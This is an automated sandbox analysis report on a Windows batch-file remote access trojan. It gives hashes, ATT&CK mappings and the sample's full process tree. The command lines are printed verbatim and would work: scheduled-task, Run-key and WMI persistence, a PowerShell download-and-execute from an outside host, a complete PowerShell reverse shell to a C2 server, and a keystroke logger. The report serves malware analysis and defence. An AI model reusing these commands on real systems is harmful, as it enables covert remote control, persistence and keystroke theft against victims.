d633d952d25764010376dd706e6f1b971b382bfede086f61cdf44b42ba0882c4

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:15

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General

Target
rat_build_63602_014229.bat
Size 4KB
Sample260529-16bfbsby2p
SHA256 d633d952d25764010376dd706e6f1b971b382bfede086f61cdf44b42ba0882c4
MD5 7345339283ee585c18055b48118c690e
SHA1 98a67f8115715b8427a20cd2510caf6079c65e1b
SHA512 928972d3ebdc42ff8a5d7f8f5a80658e2d7075b82b1e065c477df0ff255999c60067f48ad7853d3dac750bff9bb34238fbfc9d36d4ae9d3a5fc60132e4e09ff5
SSDEEP 96:GIDhWX/TaEeixfUah48aksLwTgComjV9aJjngFJSkiFgZk8mvlo1rk:GtX/T2wZh4wTgCoIojnjkiFgkHl2k
TLSH
T154A1F823879B7630A9B02A19DE33381C5B1CE7F72306D58EEB488DD8098EE4791295D7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_63602.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2052	powershell.exe
4892	powershell.exe
4148	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_63602 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_63602.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2020	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2296	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3380	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3528	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2052	powershell.exe
2052	powershell.exe
4892	powershell.exe
4892	powershell.exe
4148	powershell.exe
4148	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4308	WMIC.exe
Token: SeSecurityPrivilege	4308	WMIC.exe
Token: SeTakeOwnershipPrivilege	4308	WMIC.exe
Token: SeLoadDriverPrivilege	4308	WMIC.exe
Token: SeSystemProfilePrivilege	4308	WMIC.exe
Token: SeSystemtimePrivilege	4308	WMIC.exe
Token: SeProfSingleProcessPrivilege	4308	WMIC.exe
Token: SeIncBasePriorityPrivilege	4308	WMIC.exe
Token: SeCreatePagefilePrivilege	4308	WMIC.exe
Token: SeBackupPrivilege	4308	WMIC.exe
Token: SeRestorePrivilege	4308	WMIC.exe
Token: SeShutdownPrivilege	4308	WMIC.exe
Token: SeDebugPrivilege	4308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4308	WMIC.exe
Token: SeRemoteShutdownPrivilege	4308	WMIC.exe
Token: SeUndockPrivilege	4308	WMIC.exe
Token: SeManageVolumePrivilege	4308	WMIC.exe
Token: 33	4308	WMIC.exe
Token: 34	4308	WMIC.exe
Token: 35	4308	WMIC.exe
Token: 36	4308	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4308	WMIC.exe
Token: SeSecurityPrivilege	4308	WMIC.exe
Token: SeTakeOwnershipPrivilege	4308	WMIC.exe
Token: SeLoadDriverPrivilege	4308	WMIC.exe
Token: SeSystemProfilePrivilege	4308	WMIC.exe
Token: SeSystemtimePrivilege	4308	WMIC.exe
Token: SeProfSingleProcessPrivilege	4308	WMIC.exe
Token: SeIncBasePriorityPrivilege	4308	WMIC.exe
Token: SeCreatePagefilePrivilege	4308	WMIC.exe
Token: SeBackupPrivilege	4308	WMIC.exe
Token: SeRestorePrivilege	4308	WMIC.exe
Token: SeShutdownPrivilege	4308	WMIC.exe
Token: SeDebugPrivilege	4308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4308	WMIC.exe
Token: SeRemoteShutdownPrivilege	4308	WMIC.exe
Token: SeUndockPrivilege	4308	WMIC.exe
Token: SeManageVolumePrivilege	4308	WMIC.exe
Token: 33	4308	WMIC.exe
Token: 34	4308	WMIC.exe
Token: 35	4308	WMIC.exe
Token: 36	4308	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1168	WMIC.exe
Token: SeSecurityPrivilege	1168	WMIC.exe
Token: SeTakeOwnershipPrivilege	1168	WMIC.exe
Token: SeLoadDriverPrivilege	1168	WMIC.exe
Token: SeSystemProfilePrivilege	1168	WMIC.exe
Token: SeSystemtimePrivilege	1168	WMIC.exe
Token: SeProfSingleProcessPrivilege	1168	WMIC.exe
Token: SeIncBasePriorityPrivilege	1168	WMIC.exe
Token: SeCreatePagefilePrivilege	1168	WMIC.exe
Token: SeBackupPrivilege	1168	WMIC.exe
Token: SeRestorePrivilege	1168	WMIC.exe
Token: SeShutdownPrivilege	1168	WMIC.exe
Token: SeDebugPrivilege	1168	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1168	WMIC.exe
Token: SeRemoteShutdownPrivilege	1168	WMIC.exe
Token: SeUndockPrivilege	1168	WMIC.exe
Token: SeManageVolumePrivilege	1168	WMIC.exe
Token: 33	1168	WMIC.exe
Token: 34	1168	WMIC.exe
Token: 35	1168	WMIC.exe
Token: 36	1168	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1168	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 3528	3864	cmd.exe	84
PID 3864 wrote to memory of 3380	3864	cmd.exe	85
PID 3864 wrote to memory of 4308	3864	cmd.exe	86
PID 3864 wrote to memory of 1168	3864	cmd.exe	87
PID 3864 wrote to memory of 1064	3864	cmd.exe	88
PID 3864 wrote to memory of 2296	3864	cmd.exe	94
PID 3864 wrote to memory of 2020	3864	cmd.exe	97
PID 3864 wrote to memory of 2052	3864	cmd.exe	98
PID 3864 wrote to memory of 4892	3864	cmd.exe	99
PID 3864 wrote to memory of 4148	3864	cmd.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_63602_014229.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_63602" /tr "C:\Users\Admin\AppData\Local\Temp\_63602.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3528
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_63602" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_63602.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3380
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_63602", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_63602", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_63602.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1168
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_63602.txt
  2⤵
  PID:1064
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2296
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_63602.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4148

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a761ee5dd0e0eee9e7f79eec31d1db3731f30048ddd7c803b7f47d558906d75e
MD5 04a48d94f0b1a9ea5c882c0ca00711e6
SHA1 11f5fa77d32a5c0d6b2404bd246b6bb278a0e206
SHA512 47558ba141e3aa777620d35073a9fd8a85cb7a70050f2c45de3b5be745a77fc4f9640c60c17263adf6fe7ce46da73fb7ce1ab4ea708f0801b1ead7108c561ef6
TLSH
T167117A33B79CC134C8D9117A108DAD11B1B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a8b13f6ed01b7d06dd59027843995eaede8cb81a13d336aedc4a188b379ab457
MD5 f7f2e0c0f16a46089bc8239ad7ea42e1
SHA1 69efcc4ca3e75eecac80ba778a898f61f452be4a
SHA512 0a914a739f81ea74c13a46501c80d4760d98d26b9d2a27025cb474990cf3479f6ab09a72fdc346de770939ecb1429b1c65fb75be101f4340a65e9c0ec742f973
TLSH
T185119733F79CC174C8D5127A1088AD01B2B5C3CB049EDE8B7A84C408E57F58ADB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_u42fqdjk.fqf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u42fqdjk.fqf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2052-9-0x000001A3ACC60000-0x000001A3ACC82000-memory.dmp

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memory/2052-12-0x000001A393DD0000-0x000001A394892000-memory.dmp

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memory/4148-31-0x000002AD7AC00000-0x000002AD7B6C2000-memory.dmp

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memory/4892-22-0x0000023A67980000-0x0000023A68442000-memory.dmp

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